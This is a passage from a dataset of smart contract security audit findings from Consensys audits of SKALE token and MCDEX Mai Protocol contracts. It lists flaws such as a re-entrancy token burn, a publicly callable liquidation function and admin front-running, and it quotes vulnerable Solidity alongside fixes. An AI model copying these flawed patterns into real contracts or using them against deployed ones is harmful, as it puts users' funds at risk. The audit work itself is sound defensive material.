functions that get and update variables use getAndUpdate naming. Similarly use variable names that reflect the nature of the values they store. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.13 Delegations might stuck in non-active validator Pending", "body": " Resolution Skale team acknowledged this issue and will address this in future versions. Description If a validator does not get enough funds to run a node (MSR - Minimum staking requirement), all token holders that delegated tokens to the validator cannot switch to a different validator, and might result in funds getting stuck with the nonfunctioning validator for up to 12 months. Example code/contracts/delegation/ValidatorService.sol:L166 require((validatorNodes.length + 1) * msr <= delegationsTotal, \"Validator has to meet Minimum Staking Requirement\"); Recommendation Allow token holders to withdraw delegation earlier if the validator didn t get enough funds for running nodes. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.14 Disabled Validators still have delegated funds Pending", "body": " Resolution Skale team acknowledged this issue and will address this in future versions. Description The owner of ValidatorService contract can enable and disable validators. The issue is that when a validator is disabled, it still has its delegations, and delegated funds will be locked until the end of their delegation period (up to 12 months). code/contracts/delegation/ValidatorService.sol:L84-L90 function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyOwner { trustedValidators[validatorId] = true; function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyOwner { trustedValidators[validatorId] = false; Recommendation It might make sense to release all delegations and stop validator s nodes if it s not trusted anymore. However, the rationale behind disabling the validators might be different that what we think, in any case there should be a way to handle this scenario, where the validator is disabled but there are funds delegated to it. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.15 Fees can be > 100% Addressed", "body": " Resolution Added a check to prevent fee rates equal or higher than 100% in SKALE-2157-fee-check. Description A validator can be created with feeRate > 1000 which would mean that the fee rate would be higher than 100%. Severity is not high because that validator will most likely be not whitelisted. Also, 100%+ fees would still somehow work and not revert because of the absence of SafeMath. Recommendation Add sanity check for the input values in registerValidator, and do not allow adding a validator with a fee rate higher than 100%. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.16 getState changes state implicitly Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description getState function is checking and changing the state of a delegation struct. This function is called in many places in the codebase. Every delegation has a lot of different possible states and all of them are changed implicitly during other transactions, which makes it hard to track the logic in the code and make future changes in the code close to impossible without breaking some functionalities. Recommendation The general suggestion would be to minimize the number of implicit storage changes. Many states can be either changed explicitly or be calculated without additional storage changes. As an option, it s possible to get rid of state storage slot at all. startDate and endDate fields may set the current state: initProposed can be called during the creation of the proposal. no need to explicitly change states between ACCEPTED and DELEGATED, you can set the start date on acceptance and no further changes are required. no need to switch states between DELEGATED and ENDING_DELEGATED, when delegation is set to end, it s fine to just have end_date storage slot and make assign the date there when undelegate function is called. unlocking funds from delegation (or not accepted request) can be explicit. Also see issue 5.19 for other suggestions regarding getState usage in the code ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.17 _endingDelegations list is redundant Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description _endingDelegations is a list of delegations that is created for optimisation purposes. But the only place it s used is in getPurchasedAmount function, so only a subset of all delegations is going to be updated. code/contracts/delegation/TokenState.sol:L159-L164 function getPurchasedAmount(address holder) public returns (uint amount) { // check if any delegation was ended for (uint i = 0; i < _endingDelegations[holder].length; ++i) { getState(_endingDelegations[holder][i]); return _purchased[holder]; But getPurchasedAmount function is mostly used after iterating over all delegations of the holder. Recommendation Remove _endingDelegations and switch to a mechanism that does not require looping through delegations list of potentially unlimited size. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.18 Some functions are defined but not implemented Addressed", "body": " Resolution Fixed by removing the empty functions and implementing some others in SKALE-2160. At the time of the writing this comment, the review has not been comprehensive to all functions in the scope. Description There are many functions that are defined but not implemented. They have a revert with a message as not implemented. This results in complex code and reduces readability. Here is a some of these functions within the scope of this audit: DelegationService.setMinimumStakingRequirement() DelegationService.getAllDelegationRequests() DelegationService.getDelegationRequestsForValidator() DelegationService.listDelegationRequests() DelegationService.getDelegationRequestsForValidator() Many more functions in DelegationService.sol Examples code/contracts/delegation/DelegationService.sol:L152-L158 function getAllDelegationRequests() external returns(uint[] memory) { revert(\"Not implemented\"); function getDelegationRequestsForValidator(uint validatorId) external returns (uint[] memory) { revert(\"Not implemented\"); Recommendation If these functions are needed for this release, they must be implemented. If they are for future plan, it s better to remove the extra code in the smart contracts. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.19 tokenState.setState redundant checks Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description tokenState.setState is used to change the state of the token from: PROPOSED to ACCEPTED (in accept()) DELEGATED to ENDING_DELEGATED (in requestUndelegation() The if/else statement in setState is too complicated and can be simplified, both to optimize gas usage and to increase readability. Examples code/contracts/delegation/TokenState.sol:L173-L197 function setState(uint delegationId, State newState) internal { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract(\"TimeHelpers\")); DelegationController delegationController = DelegationController(contractManager.getContract(\"DelegationController\")); require(newState != State.PROPOSED, \"Can't set state to proposed\"); if (newState == State.ACCEPTED) { State currentState = getState(delegationId); require(currentState == State.PROPOSED, \"Can't set state to accepted\"); _state[delegationId] = State.ACCEPTED; _timelimit[delegationId] = timeHelpers.getNextMonthStart(); } else if (newState == State.DELEGATED) { revert(\"Can't set state to delegated\"); } else if (newState == State.ENDING_DELEGATED) { require(getState(delegationId) == State.DELEGATED, \"Can't set state to ending delegated\"); DelegationController.Delegation memory delegation = delegationController.getDelegation(delegationId); _state[delegationId] = State.ENDING_DELEGATED; _timelimit[delegationId] = timeHelpers.calculateDelegationEndTime(delegation.created, delegation.delegationPeriod, 3); _endingDelegations[delegation.holder].push(delegationId); } else { revert(\"Unknown state\"); Recommendation Some of the changes that do not change the functionality of the setState function: Remove reverts() and add the valid states to the require() at the beginning of the function Remove multiple calls to getState() Remove final else/revert as this is an internal function and States passed should be valid More optimization can be done which requires further understanding of the system and the state machine. function setState(uint delegationId, State newState) internal { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract(\"TimeHelpers\")); DelegationController delegationController = DelegationController(contractManager.getContract(\"DelegationController\")); require(newState != State.PROPOSED || newState != State.DELEGATED, \"Invalid state change\"); State currentState = getState(delegationId); if (newState == State.ACCEPTED) { require(currentState == State.PROPOSED, \"Can't set state to accepted\"); _state[delegationId] = State.ACCEPTED; _timelimit[delegationId] = timeHelpers.getNextMonthStart(); } else if (newState == State.ENDING_DELEGATED) { require(currentState == State.DELEGATED, \"Can't set state to ending delegated\"); DelegationController.Delegation memory delegation = delegationController.getDelegation(delegationId); _state[delegationId] = State.ENDING_DELEGATED; _timelimit[delegationId] = timeHelpers.calculateDelegationEndTime(delegation.created, delegation.delegationPeriod, 3); _endingDelegations[delegation.holder].push(delegationId); ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.20 Validator should be able to remove delegator Addressed", "body": " Resolution Code added in SKALE-2162, If the delegation is not in Description In order to delegate tokens to a validator, the validator should accept the delegation request, however it s not possible to remove the delegator for the next period. Recommendation For consistency, either allow a validator to undelegate delegators for the next period or remove acceptance mechanism if it s not needed. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.21 Lack of logs and events on state changes Pending", "body": " Resolution Skale team acknowledged this issue and will address this in future versions, but given the minor level and need to begin remediation, it s left out of scope from the re-mediation tag. Description Events in Solidity are used to log major state changes in the system, as for tracebility and also trigger UI changes or user notifications. It is a good practice to use events for every value storage change to be able to trace back the system. Recommendation emit events whenever a state change happens. As an example slashing does not emit any events and cannot notify a user unless a service is polling the system state regularly. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.22 DelegationService redundancy Addressed", "body": " Resolution pull/114 and the functionality is distributed in Description DelegationService acts as a gateway for every external call. The problem is that it adds extra complexity to the code, which makes it harder to read and add a new code. Also, it costs more gas because of extra calls between contracts. Recommendation The same functionality of DelegationService can be added through UI to allow direct calls to each contract. However, as the whole system is modular and upgradable, it is understandable why using one main contract as the point of interaction might make sense as well. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.23 Add timelock for some onlyOwner functions Pending", "body": " Resolution Skale team acknowledged this issue and gave us the following response: The SKALE Network Upgrade key will soon transition to an on-chain voting mechanism therefore making the ownership a function of community governance. It will be centrally managed through a multi-sig process for the initial 3 months to prioritize agility for resolving critical issues prior to becoming a community owned on-chain function. Successful Ethereum projects such as Maker have given clear data points on successful voting mechanism and community control which the SKALE Network will employ as soon as possible. Description The system is trusted in a way that there are some owners have the power to do major changes in the system. The most powerful is owner of ContractManager which can update any contract in any way. Even though the system is trusted and this is intended behaviour, it s possible to mitigate this trust a bit. Recommendation Add timelock to major admin functions, so people would know about it beforehand (2 weeks before) and would be able to react somehow. Severity is minor because if owners of SKALE would want to attack the system in that way, tokens would lose the value anyway, and security of SKALE chains would be unreliable. So it s unclear what can be done even having that knowledge beforehand. 6 Mitigation issues This section lists the issues found in the mitigation phase. The audit team, reviewed the code fixes after the initial report was delivered, ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.1 Users can burn delegated tokens using re-entrancy attack Addressed", "body": " Resolution Mitigated in skalenetwork/skale-manager#128 Description When a user burns tokens, the following code is called: new_code/contracts/ERC777/LockableERC777.sol:L413-L426 uint locked = _getAndUpdateLockedAmount(from); if (locked > 0) { require(_balances[from] >= locked.add(amount), \"Token should be unlocked for burning\"); //------------------------------------------------------------------------- _callTokensToSend( operator, from, address(0), amount, data, operatorData ); // Update state variables _totalSupply = _totalSupply.sub(amount); _balances[from] = _balances[from].sub(amount); There is a callback function right after the check that there are enough unlocked tokens to burn. In this callback, the user can delegate all the tokens right before burning them without breaking the code flow. Recommendation _callTokensToSend should be called before checking for the unlocked amount of tokens, which is better defined as Checks-Effects-Interactions Pattern. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.2 Rounding errors after slashing Addressed", "body": " Resolution Mitigated in skalenetwork/skale-manager#130. Description When slashing happens _delegatedToValidator and _effectiveDelegatedToValidator values are reduced. new_code/contracts/delegation/DelegationController.sol:L349-L355 function confiscate(uint validatorId, uint amount) external { uint currentMonth = getCurrentMonth(); Fraction memory coefficient = reduce(_delegatedToValidator[validatorId], amount, currentMonth); reduce(_effectiveDelegatedToValidator[validatorId], coefficient, currentMonth); putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth); _slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth})); When holders process slashings, they reduce _delegatedByHolderToValidator, _delegatedByHolder, _effectiveDelegatedByHolderToValidator values. new_code/contracts/delegation/DelegationController.sol:L892-L904 if (oldValue > 0) { reduce( _delegatedByHolderToValidator[holder][validatorId], _delegatedByHolder[holder], _slashes[index].reducingCoefficient, month); reduce( _effectiveDelegatedByHolderToValidator[holder][validatorId], _slashes[index].reducingCoefficient, month); slashingSignals[index.sub(begin)].holder = holder; slashingSignals[index.sub(begin)].penalty = oldValue.sub(getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month)); Also when holders are undelegating, they are calculating how many tokens from delegations[delegationId].amount were slashed. new_code/contracts/delegation/DelegationController.sol:L316 uint amountAfterSlashing = calculateDelegationAmountAfterSlashing(delegationId); If rounding error reduces amount not that much as other values, we can have uint underflow. This is especially dangerous because all calculations are delayed and we will know about underflow and SafeMath revert in the next month or later. Developers already made sure that rounding errors are aligned in a correct way, and that the reduced value should always be larger than the subtracted, so there should not be underflow. This solution is very unstable because it s hard to verify it and keep in mind even during a small code change. If rounding errors make amount smaller then it should be, when other values should be zero (for example, when all the delegations are undelegated), these values will become some very small values. The problem here is that it would be impossible to compare values to zero. Recommendation Consider not calling revert on these subtractions and make result value be equals to zero if underflow happens. Consider comparing to some small epsilon value instead of zero. Or similar to the previous point, on every subtraction check if the value is smaller then epsilon, and make it zero if it is. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.3 Slashes do not affect bounty distribution Addressed", "body": " Resolution Mitigated in skalenetwork/skale-manager#118 Description When slashes are processed by a holder, only _delegatedByHolderToValidator and _delegatedByHolder values are reduced. But _effectiveDelegatedByHolderToValidator value remains the same. This value is used to distribute bounties amongst delegators. So slashing will not affect that distribution. contracts/delegation/DelegationController.sol:L863-L873 uint oldValue = getAndUpdateDelegatedByHolderToValidator(holder, validatorId); if (oldValue > 0) { uint month = _slashes[index].month; reduce( _delegatedByHolderToValidator[holder][validatorId], _delegatedByHolder[holder], _slashes[index].reducingCoefficient, month); slashingSignals[index.sub(begin)].holder = holder; slashingSignals[index.sub(begin)].penalty = oldValue.sub(getAndUpdateDelegatedByHolderToValidator(holder, validatorId)); Recommendation Reduce _effectiveDelegatedByHolderToValidator and _effectiveDelegatedToValidator when slashes are processed. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.4 Iterations over slashes Addressed", "body": " Resolution Partially mitigated in skalenetwork/skale-manager#163 . Description Every user should iterate over each slash (but only once) and process them in order to determine whether this slash impacted his delegations or not. However, the check is done during almost every action that the user does because it updates the current state of the user s balance. The downside of this method is that if there are a lot of slashes in the system, every user would be forced to iterate over all of them even if the user is only trading tokens and only calls transfer function. If the number of slashes is huge, checking them all in one function would impossible due to the block gas limit. It s possible to call the checking function separately and process slashes in batches. So this attack should not result in system halt and can be mitigated with manual intervention. Also, there are two separate pipelines for iterating over slashes. One pipeline is for iterating over months to determine amount of slashed tokens in separate delegations. This one can potentially hit gas limit in many-many years. The other one is for modifying aggregated delegation values. Recommendation Try to avoid all the unnecessary iterations over a potentially unlimited number of items. Additionally, it s possible to optimize some calculations: When slashing signals are processed, all of them always have the same holder. There s no reason for having an array of signals with the same holder (always with predefined length and values will most likely be zero). It seems possible to remove signals functionality and just aggregate the changes for the Punisher. Try merge two pipelines into one. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.5 Storage operations optimization Addressed", "body": " Resolution Mitigated in skalenetwork/skale-manager#179 Description There are a lot of operations that write some value to the storage (uses SSTORE opcode) without actually changing it. Examples In getAndUpdateValue function of DelegationController and TokenLaunchLocker: new_code/contracts/delegation/DelegationController.sol:L711-L715 for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { sequence.value = sequence.value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); delete sequence.addDiff[i]; delete sequence.subtractDiff[i]; In handleSlash function of Punisher contract amount will be zero in most cases: new_code/contracts/delegation/Punisher.sol:L66-L68 function handleSlash(address holder, uint amount) external allow(\"DelegationController\") { _locked[holder] = _locked[holder].add(amount); Recommendation Check if the value is the same and don t write it to the storage in that case. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.6 Duplicate function implementation addMonths() Addressed", "body": " Resolution Fixed in skalenetwork/skale-manager#127 Description TimeHelpers.addMonths() implementation is redundant as it can directly use BokkyPooBahsDateTimeLibrary.addMonths() function. Recommendation Simply use return BokkyPooBahsDateTimeLibrary.addMonths() on the same function to prevent further code changes, it s still a good idea to call addMonth through TimeHelpers contract. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.7 Function overloading Addressed", "body": " Resolution Fixed in skalenetwork/skale-manager#181 Description Some functions in the codebase are overloaded. That makes code less readable and increases the probability of missing bugs. For example, there are a lot of reduce function implementations in DelegationController: new_code/contracts/delegation/DelegationController.sol:L722-L820 function reduce(PartialDifferencesValue storage sequence, uint amount, uint month) internal returns (Fraction memory) { require(month.add(1) >= sequence.firstUnprocessedMonth, \"Can't reduce value in the past\"); if (sequence.firstUnprocessedMonth == 0) { return createFraction(0); uint value = getAndUpdateValue(sequence, month); if (value == 0) { return createFraction(0); uint _amount = amount; if (value < amount) { _amount = value; Fraction memory reducingCoefficient = createFraction(value.sub(_amount), value); reduce(sequence, reducingCoefficient, month); return reducingCoefficient; function reduce(PartialDifferencesValue storage sequence, Fraction memory reducingCoefficient, uint month) internal { reduce( sequence, sequence, reducingCoefficient, month, false); function reduce( PartialDifferencesValue storage sequence, PartialDifferencesValue storage sumSequence, Fraction memory reducingCoefficient, uint month) internal reduce( sequence, sumSequence, reducingCoefficient, month, true); function reduce( PartialDifferencesValue storage sequence, PartialDifferencesValue storage sumSequence, Fraction memory reducingCoefficient, uint month, bool hasSumSequence) internal require(month.add(1) >= sequence.firstUnprocessedMonth, \"Can't reduce value in the past\"); if (hasSumSequence) { require(month.add(1) >= sumSequence.firstUnprocessedMonth, \"Can't reduce value in the past\"); require(reducingCoefficient.numerator <= reducingCoefficient.denominator, \"Increasing of values is not implemented\"); if (sequence.firstUnprocessedMonth == 0) { return; uint value = getAndUpdateValue(sequence, month); if (value == 0) { return; uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); if (hasSumSequence) { subtract(sumSequence, sequence.value.sub(newValue), month); sequence.value = newValue; for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { uint newDiff = sequence.subtractDiff[i].mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); if (hasSumSequence) { sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i].sub(sequence.subtractDiff[i].sub(newDiff)); sequence.subtractDiff[i] = newDiff; function reduce( PartialDifferences storage sequence, Fraction memory reducingCoefficient, uint month) internal require(month.add(1) >= sequence.firstUnprocessedMonth, \"Can't reduce value in the past\"); require(reducingCoefficient.numerator <= reducingCoefficient.denominator, \"Increasing of values is not implemented\"); if (sequence.firstUnprocessedMonth == 0) { return; uint value = getAndUpdateValue(sequence, month); if (value == 0) { return; sequence.value[month] = sequence.value[month].mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { sequence.subtractDiff[i] = sequence.subtractDiff[i].mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); Recommendation Avoid function overloading as a general guideline. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "6.1 Exchange - CancelOrder has no effect Pending", "body": " Resolution This issue has been addressed with mai-protocol-v2/2fcbf4b44f4595e5879ff5efea4e42c529ef0ce1 by verifying that an order has not been cancelled in method validateOrderParam. cancelOrder still does not verify the order signature. Description The exchange provides means for the trader or broker to cancel the order. The cancelOrder method, however, only stores the hash of the canceled order in mapping but the mapping is never checked. It is therefore effectively impossible for a trader to cancel an order. Examples code/contracts/exchange/Exchange.sol:L179-L187 function cancelOrder(LibOrder.Order memory order) public { require(msg.sender == order.trader || msg.sender == order.broker, \"invalid caller\"); bytes32 orderHash = order.getOrderHash(); cancelled[orderHash] = true; emit Cancel(orderHash); Recommendation matchOrders* or validateOrderParam should check if cancelled[orderHash] == true and abort fulfilling the order. Verify the order params (Signature) before accepting it as canceled. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.2 AMM - funding can be called in emergency mode Pending", "body": " Resolution This issue was addressed by silently skipping Description specification for Recommendation According to the specification, forceFunding should not be allowed in EMERGENCY mode. However, it is assumed that this method should only be callable in NORMAL mode. The assessment team would like to note that the specification appears to be inconsistent and dated (method names, variable names, \u2026). ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.3 Perpetual - withdraw should only be available in NORMAL state Pending", "body": " Resolution This issue was resolved by requiring Description According to the specification withdraw can only be called in NORMAL state. However, the implementation allows it to be called in NORMAL and SETTLED mode. Examples Withdraw only checks for !SETTLING state which resolves to NORMAL and SETTLED. code/contracts/perpetual/Perpetual.sol:L175-L178 function withdraw(uint256 amount) public { withdrawFromAccount(msg.sender, amount); code/contracts/perpetual/Perpetual.sol:L156-L169 function withdrawFromAccount(address payable guy, uint256 amount) private { require(guy != address(0), \"invalid guy\"); require(status != LibTypes.Status.SETTLING, \"wrong perpetual status\"); uint256 currentMarkPrice = markPrice(); require(isSafeWithPrice(guy, currentMarkPrice), \"unsafe before withdraw\"); remargin(guy, currentMarkPrice); address broker = currentBroker(guy); bool forced = broker == address(amm.perpetualProxy()) || broker == address(0); withdraw(guy, amount, forced); require(isSafeWithPrice(guy, currentMarkPrice), \"unsafe after withdraw\"); require(availableMarginWithPrice(guy, currentMarkPrice) >= 0, \"withdraw margin\"); In contrast, withdrawFor requires the state to be NORMAL: code/contracts/perpetual/Perpetual.sol:L171-L174 function withdrawFor(address payable guy, uint256 amount) public onlyWhitelisted { require(status == LibTypes.Status.NORMAL, \"wrong perpetual status\"); withdrawFromAccount(guy, amount); Recommendation withdraw should only be available in the NORMAL operation mode. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.4 Perpetual - withdrawFromInsuranceFund should check wadAmount instead of rawAmount Pending", "body": " Resolution This issue was addressed by checking Description withdrawFromInsurance checks that enough funds are in the insurance fund before allowing withdrawal by an admin by checking the provided rawAmount <= insuranceFundBalance.toUint256(). rawAmount is the ETH (18 digit precision) or collateral token amount (can be less than 18 digit precision) to be withdrawn while insuranceFundBalance is a WAD-denominated value (18 digit precision). The check does not hold if the configured collateral has different precision and may have unwanted consequences, e.g. the withdrawal of more funds than expected. Note: there is another check for insuranceFundBalance staying positive after the potential external call to collateral. Examples code/contracts/perpetual/Perpetual.sol:L204-L216 function withdrawFromInsuranceFund(uint256 rawAmount) public onlyWhitelistAdmin { require(rawAmount > 0, \"invalid amount\"); require(insuranceFundBalance > 0, \"insufficient funds\"); require(rawAmount <= insuranceFundBalance.toUint256(), \"insufficient funds\"); int256 wadAmount = toWad(rawAmount); insuranceFundBalance = insuranceFundBalance.sub(wadAmount); withdrawFromProtocol(msg.sender, rawAmount); require(insuranceFundBalance >= 0, \"negtive insurance fund\"); emit UpdateInsuranceFund(insuranceFundBalance); When looking at the test-cases there seems to be a misconception about what unit of amount withdrawFromInsuranceFund is taking. For example, the insurance fund withdrawal and deposit are not tested for collateral that specifies a precision that is not 18. The test-cases falsely assume that the input to withdrawFromInsuranceFund is a WAD value, while it is taking the collateral s rawAmount which is then converted to a WAD number. code/test/test_perpetual.js:L471-L473 await perpetual.withdrawFromInsuranceFund(toWad(10.111)); fund = await perpetual.insuranceFundBalance(); assert.equal(fund.toString(), 0); Recommendation Check that require(wadAmount <= insuranceFundBalance.toUint256(), \"insufficient funds\");, add a test-suite testing the insurance fund with collaterals with different precision and update existing tests that properly provide the expected input to withdraFromInsurance. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.5 Perpetual - liquidateFrom should not have public visibility Pending", "body": " Resolution This issue has been resolved by removing the Description Perpetual.liquidate is used to liquidate an account that is unsafe, determined by the relative sizes of marginBalanceWithPrice and maintenanceMarginWithPrice: code/contracts/perpetual/Perpetual.sol:L248-L253 // safe for liquidation function isSafeWithPrice(address guy, uint256 currentMarkPrice) public returns (bool) { return marginBalanceWithPrice(guy, currentMarkPrice) >= maintenanceMarginWithPrice(guy, currentMarkPrice).toInt256(); Perpetual.liquidate allows the caller to assume the liquidated account s position, as well as a small amount of penalty collateral. The steps to liquidate are, roughly: Close the liquidated account s position Perform a trade on the liquidated assets with the liquidator acting as counter-party Grant the liquidator a portion of the liquidated assets as a reward. An additional portion is added to the insurance fund. Handle any losses We found several issues in Perpetual.liquidate: Examples liquidateFrom has public visibility: code/contracts/perpetual/Perpetual.sol:L270 function liquidateFrom(address from, address guy, uint256 maxAmount) public returns (uint256, uint256) { Given that liquidate only calls liquidateFrom after checking the current contract s status, this oversight allows anyone to call liquidateFrom during the SETTLED stage: code/contracts/perpetual/Perpetual.sol:L291-L294 function liquidate(address guy, uint256 maxAmount) public returns (uint256, uint256) { require(status != LibTypes.Status.SETTLED, \"wrong perpetual status\"); return liquidateFrom(msg.sender, guy, maxAmount); Additionally, directly calling liquidateFrom allows anyone to liquidate on behalf of other users, forcing other accounts to assume liquidated positions. Finally, neither liquidate nor liquidateFrom check that the liquidated account and liquidator are the same. Though the liquidation accounting process is hard to follow, we believe this is unintended and could lead to large errors in internal contract accounting. Recommendation Make liquidateFrom an internal function In liquidate or liquidateFrom, check that msg.sender != guy ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.6 Unpredictable behavior due to front running or general bad timing Pending", "body": " Resolution This issue was addressed by the client providing the following statement: Not fixed in the perpetual. But later a voting system will take over the administration key. We intent to add a waiting period before voted changes applying. Description In a number of cases, administrators of contracts can update or upgrade things in the system without warning. This has the potential to violate a security goal of the system. Specifically, privileged roles could use front running to make malicious changes just ahead of incoming transactions, or purely accidental negative effects could occur due to unfortunate timing of changes. Some instances of this are more important than others, but in general users of the system should have assurances about the behavior of the action they re about to take. Examples Updating governance and global configuration parameters are not protected by a time-lock and take effect immediately. This, therefore, creates an opportunity for administrators to front-run users on the exchange by changing parameters for orders. It may also allow an administrator to temporarily lift restrictions for themselves (e.g. withdrawalLockBlockCount). GlobalConfig withdrawalLockBlockCount is queried when applying for withdrawal. This value can be set zero enabling allowing immediate withdrawal. brokerLockBlockCount is queried when setting a new broker. This value can e set to zero effectively enabling immediate broker changes. code/contracts/global/GlobalConfig.sol:L18-L27 function setGlobalParameter(bytes32 key, uint256 value) public onlyWhitelistAdmin { if (key == \"withdrawalLockBlockCount\") { withdrawalLockBlockCount = value; } else if (key == \"brokerLockBlockCount\") { brokerLockBlockCount = value; } else { revert(\"key not exists\"); emit UpdateGlobalParameter(key, value); PerpetualGovernance e.g. Admin can front-run specific matchOrder calls and set arbitrary dev fees or curve parameters\u2026 code/contracts/perpetual/PerpetualGovernance.sol:L39-L80 function setGovernanceParameter(bytes32 key, int256 value) public onlyWhitelistAdmin { if (key == \"initialMarginRate\") { governance.initialMarginRate = value.toUint256(); require(governance.initialMarginRate > 0, \"require im > 0\"); require(governance.initialMarginRate < 10**18, \"require im < 1\"); require(governance.maintenanceMarginRate < governance.initialMarginRate, \"require mm < im\"); } else if (key == \"maintenanceMarginRate\") { governance.maintenanceMarginRate = value.toUint256(); require(governance.maintenanceMarginRate > 0, \"require mm > 0\"); require(governance.maintenanceMarginRate < governance.initialMarginRate, \"require mm < im\"); require(governance.liquidationPenaltyRate < governance.maintenanceMarginRate, \"require lpr < mm\"); require(governance.penaltyFundRate < governance.maintenanceMarginRate, \"require pfr < mm\"); } else if (key == \"liquidationPenaltyRate\") { governance.liquidationPenaltyRate = value.toUint256(); require(governance.liquidationPenaltyRate < governance.maintenanceMarginRate, \"require lpr < mm\"); } else if (key == \"penaltyFundRate\") { governance.penaltyFundRate = value.toUint256(); require(governance.penaltyFundRate < governance.maintenanceMarginRate, \"require pfr < mm\"); } else if (key == \"takerDevFeeRate\") { governance.takerDevFeeRate = value; } else if (key == \"makerDevFeeRate\") { governance.makerDevFeeRate = value; } else if (key == \"lotSize\") { require( governance.tradingLotSize == 0 || governance.tradingLotSize.mod(value.toUint256()) == 0, \"require tls % ls == 0\" ); governance.lotSize = value.toUint256(); } else if (key == \"tradingLotSize\") { require(governance.lotSize == 0 || value.toUint256().mod(governance.lotSize) == 0, \"require tls % ls == 0\"); governance.tradingLotSize = value.toUint256(); } else if (key == \"longSocialLossPerContracts\") { require(status == LibTypes.Status.SETTLING, \"wrong perpetual status\"); socialLossPerContracts[uint256(LibTypes.Side.LONG)] = value; } else if (key == \"shortSocialLossPerContracts\") { require(status == LibTypes.Status.SETTLING, \"wrong perpetual status\"); socialLossPerContracts[uint256(LibTypes.Side.SHORT)] = value; } else { revert(\"key not exists\"); emit UpdateGovernanceParameter(key, value); Admin can set devAddress or even update to a new amm and globalConfig code/contracts/perpetual/PerpetualGovernance.sol:L82-L94 function setGovernanceAddress(bytes32 key, address value) public onlyWhitelistAdmin { require(value != address(0x0), \"invalid address\"); if (key == \"dev\") { devAddress = value; } else if (key == \"amm\") { amm = IAMM(value); } else if (key == \"globalConfig\") { globalConfig = IGlobalConfig(value); } else { revert(\"key not exists\"); emit UpdateGovernanceAddress(key, value); AMMGovernance code/contracts/liquidity/AMMGovernance.sol:L22-L43 function setGovernanceParameter(bytes32 key, int256 value) public onlyWhitelistAdmin { if (key == \"poolFeeRate\") { governance.poolFeeRate = value.toUint256(); } else if (key == \"poolDevFeeRate\") { governance.poolDevFeeRate = value.toUint256(); } else if (key == \"emaAlpha\") { require(value > 0, \"alpha should be > 0\"); governance.emaAlpha = value; emaAlpha2 = 10**18 - governance.emaAlpha; emaAlpha2Ln = emaAlpha2.wln(); } else if (key == \"updatePremiumPrize\") { governance.updatePremiumPrize = value.toUint256(); } else if (key == \"markPremiumLimit\") { governance.markPremiumLimit = value; } else if (key == \"fundingDampener\") { governance.fundingDampener = value; } else { revert(\"key not exists\"); emit UpdateGovernanceParameter(key, value); Recommendation The underlying issue is that users of the system can t be sure what the behavior of a function call will be, and 